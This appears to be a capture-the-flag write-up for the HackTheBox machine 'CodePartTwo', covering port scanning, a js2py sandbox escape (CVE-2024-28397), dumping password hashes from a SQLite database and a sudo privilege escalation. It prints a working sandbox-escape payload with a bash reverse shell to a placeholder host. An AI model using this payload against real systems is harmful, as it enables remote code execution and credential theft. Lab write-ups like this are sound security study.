← All writeupsCase 01 · Filed 24 Oct 2025 · HackTheBox · 2 min read
CodePartTwo
Rooted
First ever writeup
Evidence photo — case 01This machine was very easy to find the initial foothold, it had its challenges and we’ll talk about them in the upcoming sections.
Enumeration
I began by adding codeparttwo.htb to /etc/hosts using the following command:
Jsx
❯ echo "<MACHINE-IP> codeparttwo.htb" | sudo tee -a /etc/hosts
I then proceeded to do a port scan using nmap and this was the output:
Jsx
Nmap scan report for codeparttwo.htb (IP)
Host is up (0.23s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a047b40c6967933af9b45db32fbc9e23 (RSA)
| 256 7d443ff1b1e2bb3d91d5da580f51e5ad (ECDSA)
|_ 256 f16b1d3618067a053f0757e1ef86b485 (ED25519)
8000/tcp open http Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Welcome to CodePartTwo
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=10/24%OT=22%CT=1%CU=44303%PV=Y%DS=2%DC=T%G=Y%TM=68FB96
OS:C0%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=FF%TI=Z%CI=Z%TS=A)SEQ(SP=1
OS:00%GCD=1%ISR=FF%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M542ST11NW7%O2=M542ST11NW7%O3
OS:=M542NNT11NW7%O4=M542ST11NW7%O5=M542ST11NW7%O6=M542ST11)WIN(W1=FE88%W2=F
OS:E88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M542NNSNW
OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
We will get back to ssh port 22 later, let’s focus on the http port 8000.This is the page that we’re greeted with:We can go ahead and do a quick registration and login to see what’s upWe can clearly see that we have an online code editor, where devs can run/save their code.Let’s download the source code for the app as it was mentioned that the project was open source to see the backend server logic and possibly disclose used library versions.This was the requirements.txt file :And this is the part of the source code that was the most interesting:
This tells us the logic behind the execution of javascript code.
Foothold
I went back to see if the version of js2py had any vulnerabilities and it was vulnerable to CVE-2024-28397 .The library’s disable_pyimport() sandboxing mechanism could be bypassed so that untrusted JavaScript could obtain references to Python objects and ultimately execute arbitrary Python code in the host processI did a quick search for a PoC and stumbled upon this Github repo that was very helpful but incomplete.https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape
User
This was the final version of the payload:
Jsx
var cmd = "bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'"
var hacked, bymarve, n11
var getattr, obj
hacked = Object.getOwnPropertyNames(this)
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
var result;
for(var i in o.__subclasses__()) {
var item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
n11
After setting up a listener on my machine and running the payload in the app I got the web shell:I connected to the users.db database with sqlite3 and I got the marco ’s password hash.I then went ahead and tried to crack the password.
Bash
app@codeparttwo:~/app$ find . -name *.db
./instance/users.db
...
app@codeparttwo:~/app/instance$ sqlite3 users.db
sqlite3 users.db
.tables
code_snippet user
select * from user ;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
Let’s return to the ssh service that was found on the initial port enumeration and connect with the credentials that we found.
Root
marco can run the npbackup-cli as root user with sudo.
Jsx
marco@codeparttwo:~$ sudo -l
Matching Defaults entries for marco on codeparttwo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marco may run the following commands on codeparttwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
After a little going back and forth and trying different approaches and debugging different errors, I came up with the conclusion that the backup has to be in the home directory of the user marco because when i tried to make the backup in the /tmp this error came up:
Bash
2025-10-24 20:33:15,379 :: CRITICAL :: Cannot save configuration file to /tmp/backup.conf: [Errno 13] Permission denied: '/tmp/backup.conf'
So after writing the config file and making a directory for the repo, we can use the sudo to first test if the backup is working properly, and then dump root.txt .